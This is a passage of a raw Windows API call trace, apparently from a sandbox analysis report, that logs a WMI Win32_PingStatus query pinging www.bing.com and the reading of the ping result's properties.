(bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.157] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.157] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe79c | out: puCount=0x59fe79c*=0x2) returned 0x0 [0140.157] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe798*=0x0, pszText=0x0 | out: puBuffLength=0x59fe798*=0xf, pszText=0x0) returned 0x0 [0140.157] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe798*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe798*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.157] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe79c | out: puCount=0x59fe79c*=0x2) returned 0x0 [0140.157] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe798*=0x0, pszText=0x0 | out: puBuffLength=0x59fe798*=0xf, pszText=0x0) returned 0x0 [0140.157] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe798*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe798*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.157] IWbemClassObject:GetNames (in: This=0x5ccc608, wszQualifierName=0x0, lFlags=64, pQualifierVal=0x59fe7a4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe798 | out: pNames=0x59fe798*="\x01ƀ\x04") returned 0x0 [0140.158] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0140.158] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0140.158] SafeArrayGetLBound (in: psa=0x5cea0d0, nDim=0x1, plLbound=0x59fe630 | out: plLbound=0x59fe630) returned 0x0 [0140.158] SysStringByteLen (bstr="Address") returned 0xe [0140.158] SysStringByteLen (bstr="Address") returned 0xe [0140.158] SysStringByteLen (bstr="BufferSize") returned 0x14 [0140.158] SysStringByteLen (bstr="BufferSize") returned 0x14 [0140.158] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0140.158] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0140.158] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0140.158] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0140.158] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0140.158] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0140.158] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0140.158] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0140.158] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0140.158] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0140.158] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0140.158] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0140.158] SysStringByteLen (bstr="ReplySize") returned 0x12 [0140.158] SysStringByteLen (bstr="ReplySize") returned 0x12 [0140.158] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0140.158] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0140.159] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0140.159] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0140.159] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0140.159] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0140.159] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0140.159] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0140.159] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0140.159] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0140.159] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0140.159] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0140.159] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0140.159] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0140.159] SysStringByteLen (bstr="StatusCode") returned 0x14 [0140.159] SysStringByteLen (bstr="StatusCode") returned 0x14 [0140.159] SysStringByteLen (bstr="Timeout") returned 0xe [0140.159] SysStringByteLen (bstr="Timeout") returned 0xe [0140.159] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0140.159] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0140.159] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0140.159] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0140.159] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0140.159] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0140.159] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0140.159] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0140.159] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0140.159] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0140.159] SysStringByteLen (bstr="TypeofService") returned 0x1a [0140.159] SysStringByteLen (bstr="TypeofService") returned 0x1a [0140.160] IWbemClassObject:Get (in: This=0x5ccc608, wszName="Address", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285e254*=0, plFlavor=0x285e258*=0 | out: pVal=0x59fe794*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x285e254*=8, plFlavor=0x285e258*=0) returned 0x0 [0140.160] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0140.160] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0140.160] IWbemClassObject:Get (in: This=0x5ccc608, wszName="BufferSize", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285e2e0*=0, plFlavor=0x285e2e4*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x285e2e0*=19, plFlavor=0x285e2e4*=0) returned 0x0 [0140.160] IWbemClassObject:Get (in: This=0x5ccc608, wszName="NoFragmentation", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285e350*=0, plFlavor=0x285e354*=0 | out: pVal=0x59fe794*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285e350*=11, plFlavor=0x285e354*=0) returned 0x0 [0140.160] IWbemClassObject:Get (in: This=0x5ccc608, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285e594*=0, plFlavor=0x285e598*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285e594*=19, plFlavor=0x285e598*=0) returned 0x0 [0140.161] IWbemClassObject:Get (in: This=0x5ccc608, wszName="ProtocolAddress", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285e604*=0, plFlavor=0x285e608*=0 | out: pVal=0x59fe794*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="131.253.33.200", varVal2=0x0), pType=0x285e604*=8, plFlavor=0x285e608*=0) returned 0x0 [0140.161] SysStringByteLen (bstr="131.253.33.200") returned 0x1c [0140.161] SysStringByteLen (bstr="131.253.33.200") returned 0x1c [0140.161] IWbemClassObject:Get (in: This=0x5ccc608, wszName="ProtocolAddressResolved", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285e694*=0, plFlavor=0x285e698*=0 | out: pVal=0x59fe794*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x285e694*=8, plFlavor=0x285e698*=32) returned 0x0 [0140.161] SysStringByteLen (bstr="") returned 0x0 [0140.161] SysStringByteLen (bstr="") returned 0x0 [0140.161] IWbemClassObject:Get (in: This=0x5ccc608, wszName="RecordRoute", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285e6f8*=0, plFlavor=0x285e6fc*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285e6f8*=19, plFlavor=0x285e6fc*=0) returned 0x0 [0140.161] IWbemClassObject:Get (in: This=0x5ccc608, wszName="ReplyInconsistency", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285e7f4*=0, plFlavor=0x285e7f8*=0 | out: pVal=0x59fe794*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285e7f4*=11, plFlavor=0x285e7f8*=0) returned 0x0 [0140.161] IWbemClassObject:Get (in: This=0x5ccc608, wszName="ReplySize", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285e864*=0, plFlavor=0x285e868*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x285e864*=19, plFlavor=0x285e868*=0) returned 0x0 [0140.162] IWbemClassObject:Get (in: This=0x5ccc608, wszName="ResolveAddressNames", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285e8d4*=0, plFlavor=0x285e8d8*=0 | out: pVal=0x59fe794*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285e8d4*=11, plFlavor=0x285e8d8*=0) returned 0x0 [0140.162] IWbemClassObject:Get (in: This=0x5ccc608, wszName="ResponseTime", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285e944*=0, plFlavor=0x285e948*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x25, varVal2=0x0), pType=0x285e944*=19, plFlavor=0x285e948*=0) returned 0x0 [0140.162] IWbemClassObject:Get (in: This=0x5ccc608, wszName="ResponseTimeToLive", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285e9b4*=0, plFlavor=0x285e9b8*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6f, varVal2=0x0), pType=0x285e9b4*=19, plFlavor=0x285e9b8*=0) returned 0x0 [0140.162] IWbemClassObject:Get (in: This=0x5ccc608, wszName="RouteRecord", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285ea24*=0, plFlavor=0x285ea28*=0 | out: pVal=0x59fe794*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285ea24*=8200, plFlavor=0x285ea28*=32) returned 0x0 [0140.162] IWbemClassObject:Get (in: This=0x5ccc608, wszName="RouteRecordResolved", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285ea88*=0, plFlavor=0x285ea8c*=0 | out: pVal=0x59fe794*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285ea88*=8200, plFlavor=0x285ea8c*=32) returned 0x0 [0140.162] IWbemClassObject:Get (in: This=0x5ccc608, wszName="SourceRoute", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285eaec*=0, plFlavor=0x285eaf0*=0 | out: pVal=0x59fe794*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x285eaec*=8, plFlavor=0x285eaf0*=0) returned 0x0 [0140.162] SysStringByteLen (bstr="") returned 0x0 [0140.162] SysStringByteLen (bstr="") returned 0x0 [0140.163] IWbemClassObject:Get (in: This=0x5ccc608, wszName="SourceRouteType", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285eb50*=0, plFlavor=0x285eb54*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285eb50*=19, plFlavor=0x285eb54*=0) returned 0x0 [0140.163] IWbemClassObject:Get (in: This=0x5ccc608, wszName="StatusCode", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285ebc0*=0, plFlavor=0x285ebc4*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285ebc0*=19, plFlavor=0x285ebc4*=0) returned 0x0 [0140.163] IWbemClassObject:Get (in: This=0x5ccc608, wszName="Timeout", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285f068*=0, plFlavor=0x285f06c*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfa0, varVal2=0x0), pType=0x285f068*=19, plFlavor=0x285f06c*=0) returned 0x0 [0140.163] IWbemClassObject:Get (in: This=0x5ccc608, wszName="TimeStampRecord", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285f0d8*=0, plFlavor=0x285f0dc*=0 | out: pVal=0x59fe794*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285f0d8*=8211, plFlavor=0x285f0dc*=32) returned 0x0 [0140.163] IWbemClassObject:Get (in: This=0x5ccc608, wszName="TimeStampRecordAddress", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285f13c*=0, plFlavor=0x285f140*=0 | out: pVal=0x59fe794*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285f13c*=8200, plFlavor=0x285f140*=32) returned 0x0 [0140.163] IWbemClassObject:Get (in: This=0x5ccc608, wszName="TimeStampRecordAddressResolved", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285f1a0*=0, plFlavor=0x285f1a4*=0 | out: pVal=0x59fe794*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285f1a0*=8200, plFlavor=0x285f1a4*=32) returned 0x0 [0140.163] IWbemClassObject:Get (in: This=0x5ccc608, wszName="TimestampRoute", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285f204*=0, plFlavor=0x285f208*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285f204*=19, plFlavor=0x285f208*=0) returned 0x0 [0140.164] IWbemClassObject:Get (in: This=0x5ccc608, wszName="TimeToLive", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285f274*=0, plFlavor=0x285f278*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x50, varVal2=0x0), pType=0x285f274*=19, plFlavor=0x285f278*=0) returned 0x0 [0140.164] IWbemClassObject:Get (in: This=0x5ccc608, wszName="TypeofService", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285f3f0*=0, plFlavor=0x285f3f4*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285f3f0*=19, plFlavor=0x285f3f4*=0) returned 0x0 [0140.164] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SERVER", lFlags=0, pVal=0x59fe728*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59fe7ac*=0, plFlavor=0x59fe7a8*=0 | out: pVal=0x59fe728*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x59fe7ac*=8, plFlavor=0x59fe7a8*=64) returned 0x0 [0140.164] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.164] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.164] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe728*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59fe7ac*=8, plFlavor=0x59fe7a8*=64 | out: pVal=0x59fe728*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x59fe7ac*=8, plFlavor=0x59fe7a8*=64) returned 0x0 [0140.164] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.164] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.165] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe728*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59fe7ac*=8, plFlavor=0x59fe7a8*=64 | out: pVal=0x59fe728*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x59fe7ac*=8, plFlavor=0x59fe7a8*=64) returned 0x0 [0140.165] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.165] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.165] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e8 [0140.165] SetEvent (hEvent=0x3f0) returned 1 [0140.165] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fe684*=0x4e8, lpdwindex=0x59fe4a8 | out: lpdwindex=0x59fe4a8) returned 0x0 [0140.169] CoGetContextToken (in: pToken=0x59fe55c | out: pToken=0x59fe55c) returned 0x0 [0140.169] CoGetContextToken (in: pToken=0x59fe4bc | out: pToken=0x59fe4bc) returned 0x0 [0140.169] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdccf8, riid=0x59fe58c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fe588 | out: ppvObject=0x59fe588*=0x5cdccf8) returned 0x0 [0140.169] WbemDefPath:IUnknown:AddRef (This=0x5cdccf8) returned 0x3 [0140.169] WbemDefPath:IUnknown:Release (This=0x5cdccf8) returned 0x2 [0140.169] WbemDefPath:IWbemPath:SetText (This=0x5cdccf8, uMode=0x4, pszPath="") returned 0x0 [0140.169] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4ec [0140.169] SetEvent (hEvent=0x3f0) returned 1 [0140.169] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fe684*=0x4ec, lpdwindex=0x59fe4a8 | out: lpdwindex=0x59fe4a8) returned 0x0 [0140.172] CoGetContextToken (in: pToken=0x59fe55c | out: pToken=0x59fe55c) returned 0x0 [0140.172] CoGetContextToken (in: pToken=0x59fe4bc | out: pToken=0x59fe4bc) returned 0x0 [0140.172] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc88, riid=0x59fe58c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fe588 | out: ppvObject=0x59fe588*=0x5cdcc88) returned 0x0 [0140.172] WbemDefPath:IUnknown:AddRef (This=0x5cdcc88) returned 0x3 [0140.172] WbemDefPath:IUnknown:Release (This=0x5cdcc88) returned 0x2 [0140.172] WbemDefPath:IWbemPath:SetText (This=0x5cdcc88, uMode=0x4, pszPath="") returned 0x0 [0140.172] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdcc88, puCount=0x59fe728 | out: puCount=0x59fe728*=0x0) returned 0x0 [0140.172] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdccf8, puCount=0x59fe728 | out: puCount=0x59fe728*=0x0) returned 0x0 [0140.172] WbemDefPath:IWbemPath:GetClassName (in: This=0x5cdcc88, puBuffLength=0x59fe780*=0x0, pszName=0x0 | out: puBuffLength=0x59fe780*=0x0, pszName=0x0) returned 0x8004103a [0140.172] WbemDefPath:IWbemPath:GetServer (in: This=0x5cdcc88, puNameBufLength=0x59fe77c*=0x0, pName=0x0 | out: puNameBufLength=0x59fe77c*=0x0, pName=0x0) returned 0x80041009 [0140.172] WbemDefPath:IWbemPath:SetServer (This=0x5cdcc88, Name="Q9IATRKPRH") returned 0x0 [0140.172] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f0 [0140.172] SetEvent (hEvent=0x3f0) returned 1 [0140.173] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fe684*=0x4f0, lpdwindex=0x59fe4a8 | out: lpdwindex=0x59fe4a8) returned 0x0 [0140.175] CoGetContextToken (in: pToken=0x59fe55c | out: pToken=0x59fe55c) returned 0x0 [0140.175] CoGetContextToken (in: pToken=0x59fe4bc | out: pToken=0x59fe4bc) returned 0x0 [0140.175] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc18, riid=0x59fe58c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fe588 | out: ppvObject=0x59fe588*=0x5cdcc18) returned 0x0 [0140.175] WbemDefPath:IUnknown:AddRef (This=0x5cdcc18) returned 0x3 [0140.175] WbemDefPath:IUnknown:Release (This=0x5cdcc18) returned 0x2 [0140.175] WbemDefPath:IWbemPath:SetText (This=0x5cdcc18, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0140.175] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdcc88, puCount=0x59fe728 | out: puCount=0x59fe728*=0x0) returned 0x0 [0140.175] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdcc18, puCount=0x59fe728 | out: puCount=0x59fe728*=0x2) returned 0x0 [0140.175] WbemDefPath:IWbemPath:GetText (in: This=0x5cdcc18, lFlags=16, puBuffLength=0x59fe724*=0x0, pszText=0x0 | out: puBuffLength=0x59fe724*=0xb, pszText=0x0) returned 0x0 [0140.175] WbemDefPath:IWbemPath:GetText (in: This=0x5cdcc18, lFlags=16, puBuffLength=0x59fe724*=0xb, pszText="0000000000" | out: puBuffLength=0x59fe724*=0xb, pszText="root\\cimv2") returned 0x0 [0140.175] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x5cdcc88) returned 0x0 [0140.176] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdcc18, puCount=0x59fe760 | out: puCount=0x59fe760*=0x2) returned 0x0 [0140.176] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdcc18, uIndex=0x0, puNameBufLength=0x59fe75c*=0x0, pName=0x0 | out: puNameBufLength=0x59fe75c*=0x5, pName=0x0) returned 0x0 [0140.176] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdcc18, uIndex=0x0, puNameBufLength=0x59fe75c*=0x5, pName="0000" | out: puNameBufLength=0x59fe75c*=0x5, pName="root") returned 0x0 [0140.176] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5cdcc88, uIndex=0x0, pszName="root") returned 0x0 [0140.176] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdcc18, uIndex=0x1, puNameBufLength=0x59fe75c*=0x0, pName=0x0 | out: puNameBufLength=0x59fe75c*=0x6, pName=0x0) returned 0x0 [0140.176] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdcc18, uIndex=0x1, puNameBufLength=0x59fe75c*=0x6, pName="00000" | out: puNameBufLength=0x59fe75c*=0x6, pName="cimv2") returned 0x0 [0140.176] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5cdcc88, uIndex=0x1, pszName="cimv2") returned 0x0 [0140.176] WbemDefPath:IWbemPath:GetClassName (in: This=0x5cdcc88, puBuffLength=0x59fe780*=0x0, pszName=0x0 | out: puBuffLength=0x59fe780*=0x0, pszName=0x0) returned 0x8004103a [0140.176] WbemDefPath:IWbemPath:SetClassName (This=0x5cdcc88, Name="Win32_PingStatus") returned 0x0 [0140.176] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdcc88, puCount=0x59fe7c4 | out: puCount=0x59fe7c4*=0x2) returned 0x0 [0140.176] WbemDefPath:IWbemPath:GetText (in: This=0x5cdcc88, lFlags=4, puBuffLength=0x59fe7c0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe7c0*=0x29, pszText=0x0) returned 0x0 [0140.176] WbemDefPath:IWbemPath:GetText (in: This=0x5cdcc88, lFlags=4, puBuffLength=0x59fe7c0*=0x29, pszText="0000000000000000000000000000000000000000" | out: puBuffLength=0x59fe7c0*=0x29, pszText="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus") returned 0x0 [0140.181] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0140.181] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0140.181] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.181] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0140.181] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0140.181] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.181] IWbemClassObject:GetNames (in: This=0x5ccc608, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe748*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), 